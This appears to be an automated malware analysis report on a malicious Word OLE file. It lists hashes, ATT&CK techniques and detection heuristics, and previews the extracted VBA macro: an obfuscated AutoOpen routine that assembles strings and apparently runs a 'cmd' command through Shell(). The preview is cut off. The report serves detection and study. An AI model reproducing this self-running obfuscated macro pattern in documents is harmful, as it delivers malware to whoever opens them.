Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b8e36972381d3a79…

MALICIOUS

Office (OLE)

198.1 KB Created: 2018-09-24 21:52:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: bd223873d1fc93f3865655f0392fe31d SHA-1: f806bdb4c4b45a69fcd31200018adfe8b45d88a6 SHA-256: b8e36972381d3a79c2ffef26d7c3ae1fc59c4fd446e61886a45f04c101ef9ebb
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute an external command. ClamAV also detected this file as malware. The macro code is heavily obfuscated, but the presence of the Shell() function strongly suggests it's designed to download and execute a secondary payload.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6696772-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6696772-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 175081 bytes
SHA-256: ccc2d13807f48d171759351a05bf771956baa890c86cca29b3043000f9d8cd08
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "blAhHXwjoRIjs"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim IjYzFD(1)
IjYzFD(0) = Mid(ZuAzqBpZvdi + NjAFnzdilMWLhzKHGWJNlqmvUihk + XuAXtRDVs, 768, 654) + MidB(fUpPoXHjuDS + ADJEEcWInwmNoSDhWNHbiPtMNddq + iQAMnjFn, 385, 853) + MidB(cbipfNhmnCtbi + PJiJwQdiRrtmaoummSiXwQJ + bWYhzYpipi, 692, 521) + Left(KXnUvMzJfhsBs + jtnUIGBtKtNkDjKLnzKvNiVSrrp + DsIpwGqlJida, 650)
   Dim FzWjOS(1)
FzWjOS(0) = Left(WzZmnoJBVvjj + qOFzoKVhVfGjNsIjOlGmUDzzcHiAvX + IaQdHQoc, 886) + Right(aRjMMSvL + rltqLsaqiLIDkNSkiqzPcWhwuSizMAIQpXm + OlPUwXhTit, 648)
   Dim wVHPm(1)
wVHPm(0) = Mid(LIKVdtDj + bPzukXnEFumtKbbZiziKtQozL + mlonhMdSMzTL, 649, 7) + Left(PztoObKnRt + iwYcAWYwFdPLcOmAKdrYA + UKbBWoHXo, 306) + MidB(KLcGaKWidCLhY + tcmXXKlCNizionXzDWiWRNdnlRztcsw + BsBhYIOYdciWpf, 229, 589) + Left(DLFVJuW + OoUqstrVHBoDTzolvRwOaptCpjiGLZXA + lpdzJEcN, 976)
   Dim wwAOz(1)
wwAOz(0) = Right(LzYDhpEAkDfzLJ + mHndGjzvFrkOcRTzMCtWSrCpcjOaIVANHL + fAcwpEqXTiLzz, 124) + Left(uJVlEqULqRc + EQHLYXtttINiWwXQnZSwqBj + QHXczwONEla, 663) + MidB(BAHjZUWnZpaF + SQKojNcmklEikTfBTRwiRJUJdhiBru + nblzaEOPWfrMlU, 902, 771) + Mid(JTUisiP + ECjMoiofDPUYoCMmSIXImmlJbFjGkWEKNmT + worYnhURlVFM, 130, 636)
   Dim tLbhz(1)
tLbhz(0) = Mid(fGQAvFWSzvfV + vIYmAwTSFGUaZpiQOGnvFIPOEEX + iTzDCvwsT, 245, 19) + MidB(UGzdRfROSrW + dkhOOhSCwbmfURNTrZoIQbmsVC + bwjSMLFwSrd, 463, 531) + MidB(lKAAzJzPuobQn + zzkDApvCECOjFvQhukUBMSdhpikuRX + dnYWBpIvwkZsPw, 460, 888) + MidB(aHdzXlW + XUHwMbGRJYiLZYDlRqGqZPzWQjPm + jkbqnMQIjvkzUO, 640, 87)
   Dim IpaCV(1)
IpaCV(0) = Left(TIjCksVaTOb + uVGFQrqjdupNrFwsAOXQDikYQvmzf + XmiVmdWqpN, 127) + Left(AQdaOPqFWF + jTaorwziqUSXOhMYiRNXzSLjPQRAhfv + wBwRIijj, 951) + Right(AidhoCG + waWfNhSZTicHWQWjnhqCCIjhmjMiY + OWfSEaLHMLjas, 225) + Right(ERTUlFYT + AfpHHKpUItrjMbZdqrVZZHMESBJwL + ajRFEVlXDTT, 754)
   Dim skqQRd(1)
skqQRd(0) = Mid(PFqlMWYocpwM + VJJLFcuipLluPDSSwzKSviOY + rHhFMOjGGYGm, 632, 313) + Mid(sbJlJWwDjiLqOc + PvzEEOiWMMaCuovqmPudU + WdDqrdhCXkS, 496, 917)
   Dim jPwwU(2)
jPwwU(0) = MidB(fYwLwCbwsvzhSj + UwwAcQZArpYAtaSiNSIBVFWlzj + bGCbwVc, 382, 295) + Right(cFMCwzVfOrAQtL + vFibRzoNSzRwqHTNXjDalcEULa + PBrhNkYi, 571)
jPwwU(1) = Mid(jwisiYjhCWfBVs + wMicndpBaFJtisCiJTbDjctmmjzWpirZRzo + JjRdPqw, 247, 567) + MidB(MYEpOqhAtq + biTLrQbCqNRXRshluGdKQiCLa + SPGOquviHwCaf, 286, 222)
BvdFkbn (KeyString(vbKeyC) + KeyString(vbKeyM) + QiOPYSH + sfUzLNkNtU + QCqjSiWo + BzBiuCkM + OwKYAQRQ + mEoVScvZsF)
   Dim VitAvf(2)
VitAvf(0) = MidB(zNtHfjKkd + mnXrcNCSiVknKiacVmpoUZK + lSKwmtLswrQms, 257, 711) + Right(cGzwGhFckZz + RSjMjYTzuzpcldYEEqwEjs + FTCTNtuZzGfj, 245)
VitAvf(1) = Left(iLwHdwp + BtvNUOwUnNFvbiMRHzrrnlSsllC + EvSUwhEiJ, 221) + Right(CwjjMLvkYI + BHbCWLiwwBzJRzAHmMSlmjIZZHErwm + qGCMwchZE, 958) + MidB(vOucpKWzjWo + mJrvGFMAwuFWzJhpzidLMbClPLj + jzLTpizsX, 499, 940) + Left(XSKNSqozUfIziU + wpPmdWXnpOjwbIjENaCtsfSOUDWKJ + bkhUWBvXXd, 531)
End Sub


Attribute VB_Name = "sWctRQU"
Function QiOPYSH()
Dim cUnoQl(1)
cUnoQl(0) = MidB(YZiivNQKQTTh + UVGKrTZUUBwRpJNqTFYQbYOPhmQCYGoz + AIiJEEhmiXGuC, 556, 992) + Left(famildEriEzY + LkVpKWOpCpuqjnCvVIWsNOfdR + iNTVvJhnoFWTlj, 789) + Right(vEzQwcptpsHb + wqpUbaVNdBANqolIYXtiNllicFRZMJMZd + NQQiazQim, 802) + Mid(jjElLjT + qwtHMcoDdZLpLGcznYTDXBhqHYBqJphWU + NVbiIQtOrYz, 175, 222)
   Dim qCHBja(1)
qCHBja(0) = MidB(TwsjzCXNiBZ + buWjUOlXjzJaavdQYCvRzGbOmWdZoR + HlULMhIkB, 675, 180) + MidB(ikScXZcc + YszzAFXVIijhrNpOIOEwzDmLzQrPm + wSMiHidNAqaBsW, 294, 645)
   Dim nfsHVF(2)
nfsHVF(0) = Mid(jfciBAKplEYZ + YpYinpSKPpuOBdMCVhzjhrOjjLEmWrvH + qSqTWQmonwIL, 479, 38) + MidB(TwZIrnYJiwKDY + vaiMCrPiusEQYCjiXziurDujk + jQPsNku, 801, 16) + MidB(YqNwiIk + ITtzGNjmIKiAcoXLnsMifTbr + UlvZNzPXQmzEH, 632, 848) + Mid(YNCWukZYSv + jfVzuoWOFfwFYlLiqquDiiWaAVB + iJjGiEN, 860, 409)
nfsHVF(1) = Right(liGQVzOpiP + lcrVXNWtDsRwoijiWQaRwXGFBHM + jlwiniqfzjQsF, 7
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.